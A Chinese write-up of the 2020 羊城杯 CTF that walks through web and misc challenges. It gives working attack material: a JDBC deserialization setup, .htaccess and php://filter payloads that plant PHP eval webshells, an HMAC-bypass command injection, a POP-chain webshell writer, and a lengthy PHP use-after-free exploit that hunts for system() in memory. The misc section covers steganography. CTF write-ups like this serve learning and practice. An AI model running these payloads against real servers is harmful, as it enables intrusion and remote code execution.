2020羊城杯CTF随缘Writeup

2020羊城杯CTF随缘Writeup

docker源码链接:

https://github.com/k3vin-3/YCBCTF2020

Web部分

a_piece_of_java

考点:源码审计、java反序列化
PS:这道题没整明白,直接给出官方WP
第一步,serialkiller 白名单过滤,构造动态代理触发 JDBC 连接:

DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("x.x.x.x");
databaseInfo.setPort("x");
databaseInfo.setUsername("root");
databaseInfo.setPassword("root&userSSL=false&autoDeserialize=true&allowPublicKey
Retrieval=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiff
Interceptor");
InfoInvocationHandler infoInvocationHandler = new
InfoInvocationHandler(databaseInfo);
Info info =
(Info)Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),
databaseInfo.getClass().getInterfaces(), infoInvocationHandler);

第二步 JDBC 反序列化攻击 apache-commons-collections,可以参考:
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload,反序列化链构造可以用ysoserial,也可以自己写。 至于给的 pom.xml 有什么用,除了提示 JDBC 反序列化,其次就是说明引进了 commons-collections 依赖,在 maven 仓库中查询 serialkiller,就会发现它引进了 commons-collections。
拿到flag:GWHT{5e97245bd9c98aad7040d461538e9231}
PS:看了这官方WP,还是没明白。。。

easycon

考点:一句话木马使用、base64转图片
访问index.php直接提示"eval post cmd"
2020羊城杯CTF随缘Writeup_第1张图片
题目提示eavl post cmd,很明显是一句话木马,蚁剑连接,发现有个文件,里面一长串base64, 少了个头部分,添加以后base64转图片得到flag
2020羊城杯CTF随缘Writeup_第2张图片
或者POST传参cmd=system(“ls -al”);发现当前目录下有文件bbbbbbbbb.txt:
2020羊城杯CTF随缘Writeup_第3张图片
回到页面访问,得到一串base64图片后缀字符串,加上base64头data:image/png;base64,,在URL访问得到图片中显示的flag
2020羊城杯CTF随缘Writeup_第4张图片
拿到flag:GWHT{do__u__kn0w__c@idao}

BlackCat

考点:代码审计、加密解密
访问题目地址
2020羊城杯CTF随缘Writeup_第5张图片
下载音频,用文本打开,文件尾有代码

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
     
    die('谁!竟敢踩我一只耳的尾巴!');
}
 
$clandestine = getenv("clandestine");
 
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
 
 
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
 
if($hh !== $_POST['Black-Cat-Sheriff']){
     
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
 
echo exec("nc".$_POST['One-ear']);

可以看出大概是将密钥再加密后用来加密输入的命令,进行强等判断,如何绕过关键点就是让环境变量 c l a n d e s t i n e 被 加 密 后 可 控 , 这 里 用 了 密 钥 传 入 数 组 的 方 法 , 加 密 后 ′ ′ 使 clandestine被加密后可控,这里用了密钥传入数组的方法,加密后''使 clandestine使clandestine为一个定值,hash_hmac()函数第二个参数为数组的时候,返回结果为NULL。则 c l a n d e s t i n e 可 控 , clandestine可控, clandestinehh就可以 知道,判断即可绕过。。。

White-cat-monitor[]=1&One-ear=;cat flag.php&Black-CatSheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

2020羊城杯CTF随缘Writeup_第6张图片
拿到flag:GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}

easyphp

考点:命令执行、绕过字符限制
访问题目地址
方法一:构造payload,结尾要用\处理content中的 \n,不然违背 .htaccess书写格式会导致 Apache 运行崩溃

? content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess

没有preg_match的waf后就可以通过php://filter伪协议写入一句话

?filename=php://filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

方法二:利用\直接绕过字符限制,读取flag

?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\

2020羊城杯CTF随缘Writeup_第7张图片
连蚁剑
2020羊城杯CTF随缘Writeup_第8张图片
拿到flag:GWHT{easyApache}

easyphp2

考点:文件包含、php伪协议
与easyphp类似

访问题目地址
2020羊城杯CTF随缘Writeup_第9张图片
题目地址亮了!!!!
2020羊城杯CTF随缘Writeup_第10张图片
一看就是文件包含,想读源码发现伪协议里面的base64和rot13都被ban了,查了一下官方手册找到一个可以用的转换器或者看看有无robots.txt
2020羊城杯CTF随缘Writeup_第11张图片
还是个这???
2020羊城杯CTF随缘Writeup_第12张图片

利用

http://your ip:port/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
php://filter/read=convert.quoted-printable-encode/resource

读到的源码

2020羊城杯CTF随缘Writeup_第13张图片


    ini_set('max_execution_time', 5);

        if ($_COOKIE['pass'] !== getenv('PASS')) {
     
            setcookie('pass', 'PASS');
            die('

'.''.'

'.'
'
.'

'.'404'.'

'.'
'
.'Sorry, only people from GWHT are allowed to access this website.'.'23333'); } ?> <h1>A Counter is here, but it has someting wrong</h1> <form> <input type="""hidden" value="GWHT.php" name="file"> <textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /> <input type="""submit"> </form> if (isset($_GET["count"])) { $count = $_GET["count"]; if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){ die('hacker!'); } echo "

The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "

"
; } ?> </body> </html>

check.php


$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";

header('Location: /');

读到Cookie是GWHT,接下来就是命令执行exec(‘printf ‘’ . $count . ‘’ | wc -c’),exec命令无回显,可以直接写入shell

echo "" > shell.php ||'

拿到flag:GWHT{Y0U_H4VE_A_BETTER_SK1LL}

break the wall

考点:触发 UAF
报告者给出的最简触发脚本:

class Test {
     
public stdClass $prop;
}
$rp = new ReflectionProperty(Test::class, 'prop');
$test = new Test;
$test->prop = new stdClass;
var_dump($rp->getType()->getName());

执行之后会发现输出是一个奇怪的东西:

string(8) "

在 new Test 之前先输出一遍,看看原本正常的值:

string(8) "stdClass"

调试一下查看内存,可以看到原本的内存是这样的:

0x7ffff3e01988: 0x0000000600000002 0x0000000000000000
0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473
0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50
0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008
0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000
0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6ce6a006

代表这是一个字符串,引用计数为 2,长度为 8,值为 stdClass。 之后的则是这样的:

0x7ffff3e01988: 0x00007ffff3e019d8 0x0000000000000000
0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473
0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50
0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008
0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000
0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6f29b026

掏出exp


global $abc, $helper;
class Test {
     
public HelperHelperHelperHelperHelperHelperHelper $prop;
}
class HelperHelperHelperHelperHelperHelperHelper {
     
public $a, $b;
}
function s2n($str) {
     
$address = 0;
for ($i=0;$i<4;$i++){
     
$address <<= 8;
$address |= ord($str[4 + $i]);
}
return $address;
}
function s2b($str, $offset){
     
return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
STR_PAD_LEFT));
}
function leak($offset) {
     
global $abc;
$data = "";
for ($i = 0;$i < 8;$i++){
     
$data .= $abc[$offset + 7 - $i];
}
return $data;
}
function leak2($address) {
     
global $helper;
write(0x20, $address);
$leak = strlen($helper -> b);
$leak = dechex($leak);
$leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
$leak = hex2bin($leak);
return $leak;
}
function write($offset, $data) {
     
global $abc;
$data = str_pad($data, 8, "\x00", STR_PAD_LEFT);
for ($i = 0;$i < 8;$i++){
     
$abc[$offset + $i] = $data[7 - $i];
}
}
function get_basic_funcs($std_object_handlers) {
     
$prefix = substr($std_object_handlers, 0, 4);
$std_object_handlers = hexdec(bin2hex($std_object_handlers));
$start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change
0x920 if finding failed
$NumPrefix = $std_object_handlers & 0x0000ffffff000000;
$NumPrefix = $NumPrefix - 0x0000000001000000;
$funcs = get_defined_functions()['internal'];
for($i = 0; $i < 0x1000; $i++) {
     
$addr = $start - 0x1000 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
{
     
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
$name = explode("\x00", $name)[0];
if(in_array($name, $funcs)) {
     
return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),
$std_object_handlers, $NumPrefix];
}
}
}
function getSystem($unknown_func) {
     
$unknown_addr = hex2bin($unknown_func[1]);
$prefix = substr($unknown_addr, 0, 4);
$unknown_addr = hexdec($unknown_func[1]);
$start = $unknown_addr & 0x00000000ffffffff;
for($i = 0;$i < 0x800;$i++) {
     
$addr = $start - 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
     
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
     
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
for($i = 0;$i < 0x800;$i++) {
     
$addr = $start + 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
     
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
     
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
}
$rp = new ReflectionProperty(Test::class, 'prop');
$test = new Test;
$test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
$abc = $rp -> getType() -> getName();
$helper = new HelperHelperHelperHelperHelperHelperHelper();
if (strlen($abc) < 1000) {
     
exit("UAF Failed!");
}
$helper -> a = $helper;
$php_heap = leak(0x10);
$helper -> a = function($x){
     };
$std_object_handlers = leak(0x0);
$prefix = substr($php_heap, 0, 4);
echo "Helper Object Address: " . bin2hex($php_heap) . "\n";
echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n";
$closure_object = leak(0x10);

拿到flag:GWHT{478958c82caca09061066f392386a0ea}

easyser

考点:代码审计、SSRF本地文件读取、反序列化
2020羊城杯CTF随缘Writeup_第14张图片
看一下有莫有robots.txt
2020羊城杯CTF随缘Writeup_第15张图片
访问star1.php
2020羊城杯CTF随缘Writeup_第16张图片
盲猜是SSRF本地文件读取,还有可能用到反序列化写入webshell,绕过死亡绕过,查看源码,发现ser.php
2020羊城杯CTF随缘Writeup_第17张图片
访问ser.php,源码如下:


error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
     
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
     
    public $hero;
    public function __construct(){
     
        $this->hero = new Yasuo;
    }
    public function __toString(){
     
        if (isset($this->hero)){
     
            return $this->hero->hasaki();
        }else{
     
            return "You don't look very happy";
        }
    }
}
class Yongen{
      //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = ' die("nononon");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}
/*$c=$_GET['c'];
echo $x=unserialize($c);*/

POP链构造+绕过exit


class GWHT{
     
    public $hero;
}

class Yongen{
      //flag.php

    public $file = "php://filter/convert.base64-decode/resource=shell.php";
    public $text = "aaaPD9waHAgZXZhbCgkX1BPU1Rbc10pOyAgPz4=";
}

$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));

拿到flag:GWHT{it’s_s0000_eaaaaasy_ser}

Misc

逃离东南亚

考点:lsb隐写、base64
打开是三个压缩包,第一个为破损的压缩包,用010editor打开,修改文件头为图下
2020羊城杯CTF随缘Writeup_第18张图片
然后日记中,只给了张图,那么往图片隐写方面考虑,打开茄子哥那张 图,修改高度为300
2020羊城杯CTF随缘Writeup_第19张图片
2020羊城杯CTF随缘Writeup_第20张图片
根据日记中的描述,先看test 一长串奇怪的字符串,如果扔到谷歌搜索一下,你就会发现是brainfuck,然后就可以扔到在线网站解密:

http://ctf.ssleye.com/brain.html

直接解是不出有效结果的,需要通过观察在前面加一串+++++++才行
2020羊城杯CTF随缘Writeup_第21张图片
看特征可以发现是一串base64 再扔去在线网站解:https://www.qqxiuzi.cn/bianma/base64.htm
2020羊城杯CTF随缘Writeup_第22张图片
从这文件头上来看,这很可能是一个elf文件 进入Linux,使用base64命令,将解码结果通过标准输出重定向导出一个elf 运行之:
在这里插入图片描述
提示 mp3可能有lsb隐写术??
解wav的lsb隐写,使用silenteye工具
2020羊城杯CTF随缘Writeup_第23张图片
解出来发现下一个日记的压缩包密码是:This1sThe3rdZIPpwd
按照日记的提示,flag信息应该是被最后隐藏在代码中的,但这个 sourc_code文件足足有50多m,一个个看显然不现实 这里可以通过筛选修改日期或者直接写规则扫描的脚本,定位到三个源代码文件: elf/rtld.c、malloc/malloc.c、malloc/arena.c 可以发现,这三个源代码是看不出东西来的
除非你刚刚好用了sublime来看代码(或者其他能明显标记出空格和\t 的IDE),并且刚刚好又全选了所 有代码,你会发现,这三个文件都有 这样的特点:
2020羊城杯CTF随缘Writeup_第24张图片
在}的后面,都跟了这样的一串东西,是不是很像摩斯码,但其实不是摩斯密码,是空格和\t组成的字符 串,而且}后面每次都是跟8个字符 这样就不难想到了,这是一个二进制表达方式,\t代表1,空格代表0 然后写个python脚本,逐个扫一遍 elf/rtld.c、malloc/malloc.c、malloc/arena.c

def check(buf): 
ptr=buf.find("}") 
end=buf.find("\n") 
flag=0 
for x in range(ptr+1,end): 
if (buf[x]=='\t') or (buf[x]==' '): 
flag+=1 
else: 
return 0 
if flag==8: 
return 1 
else: 
return 0 

def read_code(fname): 
f = open(fname, "r") 
data = f.readlines() 
f.close() 
bin_str="" 
result="" 
for i in range(len(data)): 
if ("}" in data[i]) and ("\n" in data[i]) and check(data[i]): 
print data[i] 
ptr=data[i].find("}")+1 
print ord(data[i][ptr]) 
if data[i][ptr]=='\t': 
bin_str+="1" 
#if data[i][ptr]==' ': 
#bin_str+="0" 
for x in range(8): 
if data[i][ptr+x]=='\t': 
bin_str+="1"
if data[i][ptr+x]==' ': 
bin_str+="0" 
#print bin_str 
result+=chr(int(bin_str,2)) 
#print result 
bin_str="" 

print result 
read_code("rtld.c") 
read_code("arena.c") 
read_code("malloc.c")

可以看到这样就出flag
2020羊城杯CTF随缘Writeup_第25张图片
拿到flag:GWCTF{code_steganography_is_funny!}

未完待续。。。

你可能感兴趣的:(CTF,WP,安全,php)